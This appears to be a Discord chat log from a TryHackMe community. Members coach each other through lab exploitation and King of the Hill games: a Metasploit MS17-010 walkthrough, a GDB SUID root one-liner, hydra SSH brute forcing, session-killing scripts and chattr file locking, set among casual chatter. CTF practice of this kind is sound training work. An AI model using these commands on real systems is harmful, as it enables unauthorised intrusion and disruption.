voice-chat

[ancient olive]

NSE is writen in lua

[tough lake]

ok

[ancient olive]

|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143```

[tough lake]

now what am i supost to fox on on the scan result

[ancient olive]

u can see its vulnerable to ms17-010

[tough lake]

ya i do

what does that mean

[ancient olive]

if u search for CVE u can see the metasploit has the exploit

what does that mean
@tough lake it mean u can use the bug and exploit into machine

[tough lake]

ok

[ancient olive]

use clear; msfconsole -q

u can use msfconsole command too

[tough lake]

i did

[ancient olive]

then search for the exploit that we need (ms17-010)

then use show options

[tough lake]

Matching Modules

Name Disclosure Date Rank Check Description

---

0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
1 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
2 exploit/windows/smb/doublepulsar_rce 2017-04-14 great Yes DOUBLEPULSAR Payload Execution and Neutralization
3 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
4 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
5 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

i found this

[ancient olive]

set <option_name> <the_thing that u need>

ok use psexec one

[tough lake]

will i set or use the other command

[ancient olive]

after u complete use exploit or run command

sorry for me

did u do that?? @tough lake

no problem??

[tough lake]

no

send the whole command

for the set

because i don't know what option to use

[ancient olive]

set RHOSTS <machine_IP or TARGET_IP>

RHOSTS in metasploit mean ur target ip

LHOST mean ur IP

LPORT mean the port that u want to listen on

[tough lake]

msf5 > run
[-] Unknown command: run.
msf5 > exploid
[-] Unknown command: exploid.
msf5 >

[ancient olive]

the RPORT mean the target vulnerable port that u want to exploit it

msf5 > run
[-] Unknown command: run.
msf5 > exploid
[-] Unknown command: exploid.
msf5 >
@tough lake exploit

[tough lake]

spelling issue

[ancient olive]

know

sometimes i have that problem too

dont worry

[tough lake]

msf5 > exploit
[-] Unknown command: exploit.

still the same

ok

[ancient olive]

use run command

[tough lake]

so can i do instad

[ancient olive]

use run command instead of exploit

wat happend

[tough lake]

sop

the same

[ancient olive]

hmm

send ur options

run command show options then send me the options

[tough lake]

msf5 > show options

Global Options:

Option Current Setting Description

---

ConsoleLogging false Log all console input and output
LogLevel 0 Verbosity of logs (default 0, max 3)
MeterpreterPrompt meterpreter The meterpreter prompt string
MinimumRank 0 The minimum rank of exploits that will run without explicit confirmation
Prompt msf5 The prompt string
PromptChar > The prompt character
PromptTimeFormat %Y-%m-%d %H:%M:%S Format for timestamp escapes in prompts
SessionLogging false Log all input and output for sessions
TimestampOutput false Prefix all console output with a timestamp

[ancient olive]

hmm

wat exploit u using

??

[tough lake]

ive never done it before

[ancient olive]

its wrote in msf5 exploit(exploit name)

ive never done it before
@tough lake wait

can u screen share

?

[tough lake]

no

[ancient olive]

ok

so send me the things that i copy

[tough lake]

you go and do all the steps

[ancient olive]

msf5 exploit(windows/smb/ms17_010_psexec)

[tough lake]

im watching you

[ancient olive]

these

[tough lake]

maybe i did something wrong

[ancient olive]

use command use exploit/windows/smb/ms17_010_psexec

then run set RHOSTS 10.10.70.68

then run exploit

[tough lake]

msf5 > use exploit/windows/smb/ms17_010_psexec
msf5 exploit(windows/smb/ms17_010_psexec) >

[ancient olive]

ok

[tough lake]

yes

now

[ancient olive]

now run set RHOSTS 10.10.70.68

[tough lake]

its running

[ancient olive]

now
@tough lake u are in meterpreter

??

[tough lake]

yes

im

[ancient olive]

ok

u can now try to find flags in that

and run the commands

u can use ?

for see help menu

[tough lake]

am i in the machine now

??

[ancient olive]

am i in the machine now
@tough lake yes

try sysinfo

[tough lake]

wow

[ancient olive]

u can see u are in machine

[tough lake]

oooo man

shit

ok!!!!

[ancient olive]

the next step is PrivEsc

[tough lake]

what is that

[ancient olive]

u need to convert winpeas to the target

what is that
@tough lake when u hack a machine u can run a commands as user

[tough lake]

how

@tough lake when u hack a machine u can run a commands as user
@ancient olive ok

[ancient olive]

when u do PrivEsc u will run it as administrator

and u can do anything

[tough lake]

well how to do the PrivEsc

[ancient olive]

let me check one of the rooms for PrivEsc

also there is a room for windows PrivEsc if u want

[tough lake]

i found there

2 for windows and 1 for kali linuc

x

[ancient olive]

ok

[tough lake]

do you know how to get the king.txt file

[ancient olive]

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS

here is winpeas

u can make a http server with python3 -m http.server in ur PC

then go and download it for ur TARGET PC

but for now i just testing for metasploit exploits to be root

im not good at windows really

[tough lake]

ok

[ancient olive]

but lets play another box

[tough lake]

i will do it

[lofty moat]

which machine is it?

[tough lake]

https://tryhackme.com/games/koth/join/5e3eca9616a81cbeda7b2c97

shrek

random
@ancient olive wanna play this ??

shrek

[ancient olive]

yes

sure

@tough lake i give u a hint go to /robots.txt

in http port

then use linpeas to PrivEsc

dont forgot to give the permission to linpeas

[tough lake]

how

dont forgot to give the permission to linpeas
@ancient olive

i got the private key

[ancient olive]

ok

[tough lake]

i used ssh -i key ip-machine

[ancient olive]

create directory koth

cd to it

mkdir koth

cd koth

[tough lake]

ok

then

[ancient olive]

echo '<copy paste private key>' > id_rsa

[kindred tide]

Yo , @ancient olive is here

[ancient olive]

yo

friend

[tough lake]

i did nano key

and then pasted the key

[ancient olive]

ok

[tough lake]

then

[ancient olive]

then use chmod 600 id_rsa

then ssh -i id_rsa shrek@10.10.193.1

[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#commands-with-sudo-and-suid-commands
/usr/bin/chfn        --->    SuSE_9.3/10
/usr/bin/chsh
/usr/bin/mount        --->    Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
/usr/bin/chage
/usr/bin/gpasswd
/usr/bin/newgrp        --->    HP-UX_10.20
/usr/bin/su
/usr/bin/umount        --->    BSD/Linux(08-1996)
/usr/bin/sudo        --->    /sudo$
/usr/bin/pkexec        --->    Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
/usr/bin/gdb
/usr/bin/crontab
/usr/bin/run-parts
/usr/bin/passwd        --->    Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)
/usr/sbin/pam_timestamp_check
/usr/sbin/unix_chkpwd
/usr/sbin/usernetctl
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/libexec/dbus-1/dbus-daemon-launch-helper```

as u can see u can PrivEsc with gdb

and its SUID

so lets find it from gftobin

https://gtfobins.github.io/

i am now root

see

did u get it @tough lake

run gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit for be root

[tough lake]

no

i did not

[ancient olive]

ok

try that

i going to complete room

@kindred tide do u want to compelete a room together??

or go to koth

??

[kindred tide]

YES

[ancient olive]

ok

is it good ??https://tryhackme.com/room/boilerctf2

ok

[kindred tide]

Looks good

@ancient olive

I forgot my THM password @ancient olive

Lemme reset that

[ancient olive]

WTH

Whfg jnagrq gb frr vs lbh svaq vg. Yby. Erzrzore: Rahzrengvba vf gur xrl

wrote in the file

LOL

@tough lake api of wat??

An application programming interface (API) is a computing interface which defines interactions between multiple software intermediaries. It defines the kinds of calls or requests that can be made, how to make them, the data formats that should be used, the conventions to follow, etc.

its in google @tough lake

[tough lake]

10.10.193.1/api

go to it

[ancient olive]

@kindred tide did u find a highest port

my highest port is 10000

LOL

ok

[kindred tide]

Yes

I'm in @ancient olive

[ancient olive]

k

[kindred tide]

So

Bro @ancient olive

Just

[woven coyote]

@pale vine join the VC

[ancient olive]

i found port 21, 1000, 80

[sand agate]

https://ctf.hacktivitycon.com

[ancient olive]

terrible

the port 1000 closed for me

sorry for my mouse

ok guys

bye

im tired

and want to sleep

[sand agate]

2>/dev/null

https://gchq.github.io/CyberChef/#recipe=Magic(3,false,false,'')

[lofty moat]

@tame ether can i dm you without asking? 😧

@sand agate not sure if streaming stuff non related to THM is allowed. specially an on going CTF

[tame ether]

[sand agate]

yeah, it does make sense

@lofty moat u participating?

[lofty moat]

No i'm not

[sand agate]

i feel like u would do good

[lofty moat]

well actually not

barely did two of the warm up challenges

Szy took most of those

aah ok

imma get gud and beat you in CTF szy soon™️

imma get more points than you

(hopefully soon)

but after doing eJPT.in like a month or two

[plucky vault]

@tame ether hang on i think i know how to talk to you

[mental raptor]

https://giphy.com/gifs/gbLkPVdF4y1K8

[tough lake]

@ancient olive hello

[ancient olive]

hello @tough lake

[tough lake]

how are u doing today

[ancient olive]

everything going bad today for me

but thx for asking

[royal gust]

Mourning!

[sand agate]

hey

[royal gust]

howdy

It turns out that my bluetooth headset just disentegrated 😦

The pcb and volume popped off of the skull candy

dammit

i'll fix it w/ hot glue after its charged up

"fix"

otoh .. no wi know how to dismantle the skull candy

😛

@sand agate Do you do windows boxes too

Any recommendations on a decent one.. i did blue the other day, it's admittedly my weak point

[sand agate]

just did one

[royal gust]

I may not be a leet assembly programmer, but i'm fair w/ the *nix stuff

[sand agate]

brb

actually i'll be back in like 1h

[real orbit]

owo whats this?

[real orbit]

o/

[sand agate]

elite dangerous

[real orbit]

gotta finish networks tonight

owo?

i'll be your reference yo

Dark will give u one too

y

e

DAMN

thats more than i make

projects are a plus, open source ones help a lot

120k aud -> 85k usd

ye

that's a good 13k more than I make

skidy dun bork

amazing

I use to use a ghetto program called "Vector Magic"

ghetto af

[fast wind]

Its the Photoshop 101 class again!

[rustic mica]

:D

[real orbit]

https://youtu.be/LEgAalGlgNA

[real orbit]

https://media.discordapp.net/attachments/689917505455521878/736623243322064916/8d5f71f.png

@autumn quest

[full sapphire]

It's so true though

I can't even object to the racist stereotype

It's just true

[autumn quest]

I'm Irish you racist

[full sapphire]

I'm Irish you racist
@autumn quest Who's the racist, me or Spooks?

[real orbit]

myself, obviously

[real orbit]

https://images-na.ssl-images-amazon.com/images/I/81P3lDJbjCL._AC_SY879_.jpg

[rough flax]

https://cdn.discordapp.com/emojis/700496175589097554.png?v=1

[gray kettle]

Reson why steve died, ty gooday

[mental raptor]

@real orbit Subaru's Mom > Echidna > Rem

[plucky vault]

python -c 'import pty; pty.spawn("/bin/bash")'

[slender kayak]

https://tryhackme.com/games/koth/join/420a1fa53e901b5312f59130

[ancient olive]

LOL how many hacker are in voice

[pale vine]

try reverse ssh payload

[tough lake]

i changed the password

[tough lake]

https://tryhackme.com/games/koth/join/edb321e152c97702f6a8e955

https://tryhackme.com/games/koth/join/17be4fb368ce60f0638eece7

[ancient olive]

try reverse ssh payload
@pale vine do we have ssh payload???

[pale vine]

in the metasploit

[ancient olive]

nope

there is nothing called ssh payload in metasploit

@pale vine

ok found it payload/cmd/unix/reverse_ssh

but its too stupid

[pale vine]

yep

but it worked for me for an old box XD

[ancient olive]

why u tried ssh port reverse_shell when we have netcat and other things to reverse_shell

[pale vine]

I don't know which box was it , but it was kicking me again n again on netcat

so I used ssh one

actually I did trial and error with all 64 payloads it was giving me for that exploit

xD

[ancient olive]

hmmmm, intersting

weird

[mental raptor]

Which room guys ?

[tough lake]

@plucky vault please

man

come on

[plucky vault]

I'm not doing anything.

I'm trying to to get into tomcat.

[tough lake]

nooo

you kicking me out

and you stoped the ssh server

that was a good one

GG

@plucky vault

[plucky vault]

@tough lake, I didn't stop the SSH service.

Must have because the machines done.

[tough lake]

can you show me how you made the king.txt doesn't work with the vim

command

aaaaa

ok

[plucky vault]

Just use echo ubay > king.txt

[tough lake]

i did

but nothing

[plucky vault]

I put a while loop on it so it keeps putting my name in the file.

[tough lake]

aaaaaaa

ok

[plucky vault]

So you had my process and then put your name in there.

[tough lake]

can u teach me how

to loop things

[plucky vault]

while (true) do echo ubay > king.txt; done &

[tough lake]

and write on the other roots screens

while (true) do echo ubay > king.txt; done &
@plucky vault is this a commad or js code

[plucky vault]

That is Bash.

[tough lake]

so we put it in file.sh

[plucky vault]

So yes, a command.

No, just put it on the command line like any other command.

[tough lake]

ok

and how do you write on other roots screens

[plucky vault]

You need to be the root user for that.

[tough lake]

so they cant see anything but what you write

when im the root what do i do

@plucky vault thanks man i appreciate that

[plucky vault]

Sorry my Discord is being crap.

First find out your pts number with the "ps" command

That way you don't accidently spam your own terminal.

Then issue the command "w"

To find out what terminal numbers (ptss) are on the machine.

Just go:

echo "<Your text to go to other terminal> > " /dev/pts/<pts number from "w" command>

[tough lake]

i didn't get it but no problem

thank u

[plucky vault]

I can stream it if you want.

[tough lake]

that would be nice

[plucky vault]

Let's go to #koth

[mental raptor]

kill the process

kill -9 pid

this kills all the process

[tough lake]

https://tryhackme.com/games/koth/join/2815469c43bcc5716716664f

[tough lake]

hello

[midnight fern]

https://tryhackme.com/jr/tryhackcit

Task 9

Download all TryHackCIT VOD's

http://ryanmontgomery.me/CIT/TryHackCIT%20-%20Cybersecurity%20Bootcamp_Day1.mp4  -- Day 1
http://ryanmontgomery.me/CIT/TryHackCIT%20-%20Cybersecurity%20Bootcamp_Day2.mp4  -- Day 2
http://ryanmontgomery.me/CIT/TryHackCIT%20-%20Cybersecurity%20Bootcamp_Day3.mp4  -- Day 3
http://ryanmontgomery.me/CIT/TryHackCIT%20-%20Cybersecurity%20Bootcamp_Day4.mp4  -- Day 4
http://ryanmontgomery.me/CIT/TryHackCIT%20-%20Cybersecurity%20Bootcamp_Day5.mp4  -- Day 5
http://ryanmontgomery.me/CIT/TryHackCIT%20-%20Cybersecurity%20Bootcamp_Day6.mp4  -- Day 6

[honest phoenix]

@plucky vault <--- best name

[quiet needle]

will share seed soon

[manic canyon]

👀

[quiet needle]

404's 0day

[manic canyon]

Free promo's 👀

This would actually be a really fun podcast if you all started one

[quiet needle]

How do you download, anything that I can find is 1 hour max @midnight fern

anything curl or wget requires api

[midnight fern]

1 hour max?

Oh you mean from twitch

Not my server?

[quiet needle]

yeeee

[midnight fern]

I use YouTubeDL

[quiet needle]

OH

your url's 404 even un encoded

tytyty

[midnight fern]

They 404?

I just checked

all the links are working for me.

[manic canyon]

Loved the sound effects haha

[fathom coyote]

Mfw no curl or gobuster in Operator Handbook

[manic canyon]

That's not a bad idea tbh

[fathom coyote]

Sorry for my sloppy ass handwriting

I definitely don't write like a girl

[manic canyon]

Literally no issues with it

I write in all caps kek

[quiet needle]

http://ryanmontgomery.me/CIT/TryHackCIT%20-%20Cybersecurity%20Bootcamp_Day6.mp4%20%20--%20Day%206 404

[manic canyon]

Malware

[fresh solar]

[manic canyon]

Put 'em up

[fresh solar]

🔫

[manic canyon]

Okay Okay..

Lets think about this

[fresh solar]

[real orbit]

@fathom coyote it does that from time to time

yeah prolly

[autumn quest]

https://media.discordapp.net/attachments/680459914828972076/737762630982303804/doublicat-2020-07-28-03-52-46.gif

[manic canyon]

He looks better ngl

👀

[autumn quest]

Why thank you!

gobuster -e -u IP -w /usr/share/wordlists/dirb/common.txt

[manic canyon]

gobuster dir -u http://<Machine IP> -w /usr/share/dirb/wordlists/common.txt

[lofty moat]

-t 64

[manic canyon]

(dir is by default btw)

Dir is directory buster

You can check the manual for the different types

Is this kali 2020.2?

Gobuster broke on one of the kalis

Literally won't work

This goes for vms

[azure moss]

Is dirbuster in kali 2020.2?

[manic canyon]

Yeah from the kali repo it's broken, gobuster is*

[autumn quest]

Dirbuster works tho

[manic canyon]

Yeah

[plucky vault]

Also dirbuster is recursive

[manic canyon]

It's a getaround

I'm making a directory buster tool in rust when I'm finished with my current project with Bee

[autumn quest]

Nice!

[manic canyon]

You can still do the CVE ;)

Oh wait its not in the tags

COUGH

[azure moss]

https://tenor.com/view/south-park-authoritah-authority-respect-my-authority-respect-my-authoritah-gif-3712482

[manic canyon]

How do you become a tester 👀

[azure moss]

Submit a sample

[manic canyon]

I don't want to though

Just never thought about it

Submit a sample
@azure moss Vague

[full sapphire]

How do you become a tester 👀
@manic canyon A room tester?

[manic canyon]

Yos

People who test rooms before release

[full sapphire]

I think we've probably got all we need just now, but generally speaking it's people who have a few rooms under their belt, and are part of the content creator's program. I think there may be a few exceptions to that, but you definitely need the experience of building them first

[plucky vault]

it works for me

[manic canyon]

Disconnection > VPN/Networking issue

!vpnscript

[trim cloud]

TryHackMe

Use our VPN troubleshooting script to diagnose common issues!

https://github.com/tryhackme/openvpn-troubleshooting

From TryHackMe with ❤!

[manic canyon]

Have you restarted the box? you might have hammered it

[fathom coyote]

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-01 18:32 EDT
Nmap scan report for 10.10.158.218
Host is up.
All 1000 scanned ports on 10.10.158.218 are filtered

Nmap done: 1 IP address (1 host up) scanned in 201.36 seconds

[plucky vault]

@fathom coyote I can RDP into your box just fine

[manic canyon]

Have you regenerated your file/switched regions

btw remmina is a little uhhh

bad

[plucky vault]

try using remmina for RDP

[manic canyon]

It's decent

But sometimes

It just does it's own thing

[plucky vault]

Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-02 00:39 CEST
Nmap scan report for 10.10.158.218
Host is up (0.031s latency).

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 16.60 seconds

must be something with you vpn

[manic canyon]

Definitely VPN issue then

[plucky vault]

try an other vpn server

[manic canyon]

Issues can come up at any point tbh

If you're on VIP go to non-VIP

Try going to VIP then maybe

[plucky vault]

i'm on EU-VIP-2

[autumn quest]

apt install remmina

[manic canyon]

sudo apt update; sudo apt install remmina

or whatever it's called

Alright it's time for me to head off, early morning tomorrow. See you all

[quiet needle]

Night @manic canyon

[plucky vault]

https://access.redhat.com/errata/RHSA-2020:3216

echo x >> test.txt works

[mellow frigate]

hey

[tough lake]

don't have a mic ??

[bitter loom]

hi

[tough lake]

hi

[tough lake]

https://tryhackme.com/games/koth/join/d1ad155fb4bac06f01b93a96

[fast wind]

hey all

[tough lake]

https://tryhackme.com/games/koth/8191

[fast wind]

Why do you sound like you are high @plucky vault

[plucky vault]

i am not high

[fast wind]

sorry for the tag. nvm

[plucky vault]

its ok m8

[quiet needle]

Everything all good? (:

[plucky vault]

he has accused me of being high

[fast wind]

afasik he sounds high, (no bias)

[plucky vault]

if i was high am i not allowed to be here?

[fast wind]

Nothing like that. nvm.

[plucky vault]

so i wouldnt be allowed if i was high?

there was a group of people doing weed and drinking with cam on before but u say i not allowed to stay?

[mellow frigate]

hi

[plucky vault]

hey

[lofty moat]

yo?

[fast wind]

ay @lofty moat

[lofty moat]

KoTH invite link?

[fast wind]

https://tryhackme.com/games/koth/join/d1ad155fb4bac06f01b93a96

This one I think

@lofty moat wanna hop in 18 mins remaining?

[lofty moat]

i would but....

[fast wind]

😆

[tough lake]

@fast wind bro stop

[fast wind]

I am doing many things, which one do you mean?

@tough lake

[tough lake]

all oh them

the king permission

how do you even do that

??!!

im just ganna stop

@fast wind

[fast wind]

what is your THM username?

[tough lake]

UM240

[fast wind]

Its called chatter.

[tough lake]

ok

[fast wind]

||||

[tough lake]

you gotta teach me

[fast wind]

Ah I can see that your names are going in temp files.

You are creating king file in loop I think

[tough lake]

yes

[fast wind]

also, ||the chattr binary on this machine is a prank by the creater, if you use it, it will kick you out.||

[tough lake]

well

GG

[fast wind]

GG.

@lofty moat LMAO we know each other's main tricks

whats gonna happen in this one

[lofty moat]

well 3k pings

takes 8-10 seconds to send a message

so don't know what gonna happen

[fast wind]

lmao

[tough lake]

ohhhh

[fast wind]

ah damnit

carnage

fresh wounds

[tough lake]

@fast wind but for real how did you close the permission for the king.txt

[fast wind]

man chattr

type this on terminal

[tough lake]

ok

[lofty moat]

can't even ssh in. GG

thanks my precious guests

[fast wind]

fresh wounds
@fast wind @lofty moat

[lofty moat]

can't even get the vpn to connect 🤦‍♂️

[tough lake]

lol

https://tenor.com/view/popcorn-gif-4572211

[fast wind]

M just sitting here, in nano, writing things what couldve helped yesterday

[lofty moat]

the max i have reached is typing yes in ssh so far

[fast wind]

ssh -o StrictHostKeyChecking=no

if you know, you know

[lofty moat]

🤷‍♂️

[tough lake]

@fast wind so is chattr +i file.txt good

[fast wind]

Yep, now think of how to overtake others, if they are using same command 😉

[tough lake]

ohhhhhhh

let me see

chattr -i file

right

!!??

[fast wind]

I think we should shift to DM, Because this might be a spoiler for others.

[tough lake]

damn im so good

[lofty moat]

time to change wifi password

[fast wind]

lmaoooooo

cap wifi connections and get your LAN cable

[fast wind]

lmao nyan? seriously?

[slender kayak]

https://tryhackme.com/games/koth/join/2687c10c074fd54d5be930d7

[pale vine]

@sick moth join

[lofty moat]

public game starting in 5 minutes:
https://tryhackme.com/games/koth/join/86b55c6900382d6e5f4fc554

[slender kayak]

`#!/bin/bash

quantity=$(ls -1 /dev/pts | wc -l)
echo $quantity

for (( i=0; i<=$quantity; c++ ))
do
pkill -t -9 pts/$i
done

`

@fast wind just to be clear, i'm not using that script 😅

[fast wind]

lmao

1. You can make a one liner for it.
2. Nothing wrong with using it.

[slender kayak]

i saw you writing and was like "imagine.."

i think that's too dirty for a koth

[fast wind]

LMAO

[slender kayak]

is there a way to avoid something like this?

[fast wind]

Dont have a pts.

[slender kayak]

is there a way for that?

[fast wind]

Yep,

[slender kayak]

i'm feeling noob and dumb at the same moment

[fast wind]

lmao

[slender kayak]

i just tought about reverse shells

but seems that they spawn pts anyway

[fast wind]

or Do they..

[slender kayak]

and for the oneline i know, but i'm improving my bash experience

which is basically 0

[fast wind]

$ tty
not a tty

[slender kayak]

yep, that's what i was thinking about

so the "virtual" way should be getting a reverse and killing the script without doing the python stuff

or any pts spawn in general

[fast wind]

pgrep sh | grep -v $(echo $$) | while read line; do kill -9 $line; done maybee

Use at your own risk

(Affected users have reported that their shells died. (sometimes))

[slender kayak]

actually i was making that to spam nyancats

that's why i was working on pts and not on processes

[dark igloo]

someone can help me with ssh pls, i just need help for 2 seconds 🙂

[fast wind]

Regarding?

[dark igloo]

regarding ?

[fast wind]

Is it about room or KoTH?

[dark igloo]

about a room

[fast wind]

#room-help

[lofty moat]

^

[slender kayak]

@fast wind may i ask you a bash think when you are free?

[dark igloo]

i just can't connect to the machine

[slender kayak]

#room-help
@fast wind flying

[fast wind]

sure

[dark igloo]

but i already do

[slender kayak]

oh well that's not a room

i'm just noob with bash. i need something like

[dark igloo]

nvm i'm ok

[slender kayak]

for (i=0; i<=var; i++) {
if (i !== $1) {
echo \`lol ${1}\`
} else {
// do nothing
}
}

some thing like that, but in bash @fast wind

that is js (and i struggled a lot writing that on discord

[fast wind]

You can do this in Discord.

[slender kayak]

oh

wow

didn't know that

[fast wind]

(markdown)

Yeah, and give it language, It'll set the syntax highlighting

[slender kayak]

thanks, discovered something new

[fast wind]

🙂

[slender kayak]

btw can you help me with that?

[fast wind]

Just google about bash syntax(?) The tutorials can help wayy more then I can.

[slender kayak]

yep, i'm looking for

[woven coyote]

Hey Guys!

[grave nebula]

Hey bruh @woven coyote

[woven coyote]

What's going on

[tough lake]

https://tryhackme.com/games/koth/join/8f3c6d3e7a7951cdefb20243

[rustic fjord]

hello guys , why i can hear when connect to KOTH voice chat room , but when connecting to general room its become so laggy

[full sapphire]

@rustic fjord They're both set to the same bitrate, so there shouldn't be any difference.

[random trellis]

can someone help me

im in general

[sand agate]

i can try

[lucid slate]

r

[slender kayak]

https://tryhackme.com/games/koth/join/82bd7ec5839b233269284ddd

[plucky vault]

sudo apt-get install net-tools

[tall vapor]

hi

[fervent oxide]

@plucky vault ur laggin so bad 😭

[plucky vault]

Yeah, probably my side.

-.-

Can't change networks cuz my phone died.

😦

[plucky vault]

My internet is a joke.

Sorry

@slender kayak

[grave nebula]

Hi guys

[dark igloo]

hi 🙂

[dark igloo]

hey, i need help with proxychains

[autumn quest]

#room-help if its related to a room. #general for anything else mate. But google it first

[dark igloo]

nah np nvm sry

[plucky vault]

@plucky vault

Sorry my line is really bad.

[slender kayak]

https://tryhackme.com/games/koth/join/541795b670a5c1ba290455e5

[royal gust]

@plucky vault You flooded your buffer.

You cat'd an obj that was streaming data

ctl c, d, or z

If your console looks like gibberish. you need to ctl l or something

He's pulling your leg. violating a box without a strict invite is against the rules

my bluetooth died 😦

emergency charge time

[ancient olive]

https://tryhackme.com/games/koth/join/5a35f88a96ee43aa5580d486

@slender kayak try mesg n

it will turn off messages broadcasting as i heard

@slender kayak ps aux its easier that ps -faux

also its better to use pkill to kill pts

also use while : instead of while true : the less u type the speedier u become @slender kayak

[royal gust]

hi

@flat tusk stuck with no headset right now sorry

[lofty moat]

@plucky vault new chapter when?

[plucky vault]

@lofty moat chapter of ? XD

[lofty moat]

@lofty moat chapter of ? XD
@plucky vault solo leveling??

[plucky vault]

@lofty moat uhm i see u are a man of culture

i dunno maybe august 11 12

if not 11 then 12

[lofty moat]

Aah can't wait 🙄

[plucky vault]

the anime would be so cool

unless it has a shitty studio

like deen -.-

[lofty moat]

God of high school animation looks lit but manga is still is way more better

They are skipping so much of the stuff in that

[plucky vault]

yeah ..

[slender kayak]

https://tryhackme.com/games/koth/join/28cfe0d126be0088e2b19e03

[mellow frigate]

Hey, doing wonderlang right now too!

[sand agate]

ill get on in a bit too, dont leave guys

[frosty pagoda]

what is this multi tab window thing called

[sand agate]

https://tenor.com/view/tapping-message-morse-code-fax-type-writer-gif-13768255

[alpine zephyr]

Gmm

[sand agate]

https://tryhackme.com/room/borderlands

https://tryhackme.com/room/ironcorp

[plucky vault]

pip install git+https://github.com/calebstewart/pwncat.git

[lofty moat]

@plucky vault exploit or run

[plucky vault]

set PAYLOAD <payload>

@plucky vault

set PAYLOAD windows/x64/meterpreter/reverse_tcp

@plucky vault

[lofty moat]

@alpine zephyr jani your open mic

[alpine zephyr]

sorry about that

[lofty moat]

@shadow arch welcome to the VC.. but i don't talk i just listen 🤷‍♂️

@plucky vault https://github.com/OJ/gobuster

the syntax is:
gobuster dir -u <ip> -w <path for wordlist> -t 50 (or more threads if you want)

@plucky vault why not use tmux?

[alpine zephyr]

hydra -l root -P /usr/share/wordlists/rockyou.txt 192.168.1.105 -t 4 ssh

[limber lichen]

-t 64 *

[alpine zephyr]

@plucky vault

enum4linux -A IP

smbclient //<IP>/<share> -U <user -P <Port>

[lofty moat]

-t 64 *
@limber lichen sometimes t 64 is worse.... i used 64 threads in Brooklyn nine nine and wasted 10 minutes for result while -t 4 gave it instantly

[limber lichen]

64 threads worked for me in b99

It must have been something else 🤔

[lofty moat]

🤷‍♂️

[lofty moat]

@slender kayak who is playing koth?

😦

I'm sad

no it was nothing much

he wrote a curl command in that exploit file

and got into a user

and he knows the privesc so he had already written that in cherry tree and copy pasted

and got root

no thats not bad

that's efficient

https://tryhackme.com/games/koth/join/7b0b47a838d168912aeb19b5

ok

@slender kayak you want me to show you something?

for hackers

just 30 seconds i will show you hackers

hackers

send me invite link for private game??

@slender kayak sudo -l

@slender kayak sudo -l
🤷‍♂️

[fast wind]

Just me or no sounds?

[lofty moat]

Just you

you deafen your self

🤷‍♂️

@alpine zephyr someone changed password for ashu so that's why you cant get in

[alpine zephyr]

i see

[fast wind]

@lofty moat mentorship classes 101

[lofty moat]

@slender kayak what is the problem you are facing with sudo -l

@slender kayak no one saw anything

[fast wind]

lmao

[lofty moat]

dont do that

doooont

stop

[fast wind]

NOOOO

[lofty moat]

@slender kayak

[fast wind]

:LAMO

[lofty moat]

stooop 😄

[fast wind]

do chattr +i king.txt

lmaooo

someone did it

[lofty moat]

there is no key

someone changed password for ashu

[fast wind]

people fighting for king.txt deja vu

You playing this too? @lofty moat

[lofty moat]

ok now i changed it to:
whodidit

nvrmnd

You playing this too? @lofty moat
@fast wind well not really

[fast wind]

figured that already

[lofty moat]

i saw mentans streaming and i grabbed the ip 😄

[fast wind]

LMAO

[lofty moat]

i'm not changing anything

i'm already root, already have my backdoors in. but i am not doing anything

let's see who wins, @alpine zephyr or @slender kayak

[fast wind]

spec link?

[alpine zephyr]

I am watching mentats at this point

[lofty moat]

https://tryhackme.com/games/koth/8513

[fast wind]

https://tenor.com/view/kekw-kek-bttv-twitch-emote-gif-15123134

[lofty moat]

@slender kayak you are not root

i mean king

@alpine zephyr you are winning

[fast wind]

https://tenor.com/view/kekw-kek-bttv-twitch-emote-gif-15123134

@lofty moat let'em play lol

[lofty moat]

@lofty moat let'em play lol
@fast wind but i just ran one loop nothing else

[fast wind]

LOL we both know what 1 loop means

[lofty moat]

ctrl + C i stopped nyancat @slender kayak

[fast wind]

pspy is a bad choice

edit it, make it light

[alpine zephyr]

do what you gotta do naughty XDD

[lofty moat]

what you are trying to do though?

[fast wind]

xD

[lofty moat]

oh my loop?

i closed my loop @slender kayak

for king ^

[fast wind]

upload your chatter @slender kayak

[lofty moat]

https://busybox.net/downloads/binaries/

here ^^

all of the binaries

[fast wind]

^^

[lofty moat]

download from the last folder 1.31.0-i686-uclibc/

[fast wind]

@slender kayak

[lofty moat]

search for chattr it will be named busybox_CHATTR

[fast wind]

https://busybox.net/downloads/binaries/
@lofty moat @slender kayak

yeah

wget

[lofty moat]

2) chattr
3) download
4) upload using wget
5) chmod +x <your chattr>```

use lsattr king.txt to see if there is already chattr used on it or not

@slender kayak ^

[fast wind]

You should try tmux, I think naughty mentioned that

[lofty moat]

